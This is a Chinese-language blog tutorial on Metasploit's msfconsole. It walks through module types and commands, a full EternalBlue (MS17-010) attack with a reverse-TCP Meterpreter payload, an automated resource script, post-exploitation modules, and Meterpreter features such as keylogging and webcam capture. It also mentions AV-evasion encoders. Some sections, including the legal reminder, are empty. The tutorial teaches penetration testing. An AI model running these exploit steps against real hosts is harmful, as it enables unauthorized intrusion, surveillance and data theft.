时间:2026-01-07 09:25
人气:
作者:admin
Metasploit Framework的msfconsole是一个功能强大的渗透测试框架,核心在于其模块化结构。你可以通过组合不同的模块,构建完整的测试流程。下表概述了其核心模块类型及典型用途:
|
模块类型 |
主要功能 |
典型应用场景举例 |
常用命令/关键词 |
|
辅助模块 (Auxiliary) |
信息收集、扫描、拒绝服务攻击等。 |
端口扫描、服务指纹识别、弱口令爆破。 |
auxiliary/scanner/ |
|
渗透攻击模块 (Exploit) |
利用特定漏洞获得目标系统初始访问权限。 |
攻击已知漏洞的Samba、VSFTPD服务。 |
exploit/ |
|
攻击载荷 (Payload) |
在成功渗透后,在目标系统上运行的代码。 |
获取反向Shell(reverse_tcp)、Meterpreter高级控制。 |
set payload |
|
编码器 (Encoder) |
对攻击载荷进行编码,以绕过杀毒软件(AV)检测。 |
在生成木马文件前对载荷进行多重编码。 |
msfvenom -e |
|
后渗透模块 (Post) |
在已控制目标后,进行信息收集、权限提升、内网移动等。 |
检查是否为虚拟机、获取密码哈希、安装后门。 |
post/ |
Metasploit Framework(简称 MSF)是业界最著名的开源渗透测试平台之一,由 Rapid7 维护。msfconsole 是其命令行交互式界面,功能强大、模块丰富,广泛用于漏洞利用、后渗透、信息收集等任务。
以下是对 msfconsole 的超详细使用说明,包括核心概念、常用命令、各功能模块详解及实战示例。
一、基本概念
1. Metasploit 模块类型
二、启动 msfconsole
bash
编辑
msfconsole
首次启动会加载数据库(建议配置 PostgreSQL 以启用数据库功能)。
三、常用全局命令(在 msfconsole 中)
表格
|
命令 |
功能 |
|
help 或 ? |
显示帮助 |
|
show exploits |
列出所有 exploit 模块 |
|
show auxiliary |
列出辅助模块 |
|
show payloads |
列出可用 payload |
|
show options |
显示当前模块所需参数 |
|
use <module> |
加载指定模块(如 use exploit/windows/smb/ms17_010_eternalblue) |
|
set <OPTION> <VALUE> |
设置模块参数 |
|
unset <OPTION> |
取消设置 |
|
setg <OPTION> <VALUE> |
全局设置(所有模块共享) |
|
getg |
查看全局变量 |
|
info <module> |
查看模块详细信息 |
|
search <keyword> |
搜索模块(支持 CVE、平台、类型等) |
|
jobs |
查看后台任务 |
|
sessions |
查看已建立的会话 |
|
exit / quit |
退出 |
四、核心模块详解
1. Exploit 模块使用流程
示例:利用 EternalBlue (MS17-010)
bash
编辑
msf6 > search ms17_010
# 选择 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 查看选项
msf6 > show options
# 设置必要参数
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
# 执行攻击
msf6 > exploit
成功后将获得一个 Meterpreter 会话。
2. Payload 类型说明
3. Auxiliary(辅助)模块
用于信息收集或漏洞探测,不直接执行 payload。
示例:SMB 版本扫描
bash
编辑
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
其他常用辅助模块:
4. Post(后渗透)模块
在已有 Meterpreter 会话中使用。
bash
编辑
msf6 > sessions -i 1 # 进入会话 1
meterpreter > sysinfo # 查看系统信息
# 返回 msfconsole 后运行 post 模块
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > set SESSION 1
msf6 > run
常用 Post 模块:
5. Meterpreter 高级 Shell
Meterpreter 是 Metasploit 最强大的 payload,内存驻留、加密通信、可扩展。
常用 Meterpreter 命令:
表格
|
命令 |
功能 |
|
sysinfo |
系统信息 |
|
getuid |
当前用户 |
|
ps |
进程列表 |
|
migrate <PID> |
迁移到其他进程(防崩溃) |
|
shell |
获取系统 shell |
|
download / upload |
文件传输 |
|
screenshot |
截图 |
|
webcam_list / webcam_snap |
调用摄像头 |
|
keyscan_start / keyscan_dump |
键盘记录 |
|
run post/windows/manage/migrate |
自动迁移到 explorer.exe |
五、数据库集成(强烈推荐)
Metasploit 支持 PostgreSQL 数据库存储扫描结果、主机信息等。
初始化数据库(Kali Linux 默认已配置):
bash
编辑
sudo systemctl start postgresql
sudo msfdb init
在 msfconsole 中验证:
bash
编辑
msf6 > db_status
[*] Connected to msf
导入 Nmap 扫描结果:
bash
编辑
msf6 > db_import /path/to/scan.xml
msf6 > hosts
msf6 > services
六、资源脚本(自动化)
可编写 .rc 脚本实现自动化渗透。
example.rc:
rc
编辑
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
运行:
bash
编辑
msfconsole -r example.rc
七、安全与法律提醒 ⚠️
八、学习资源推荐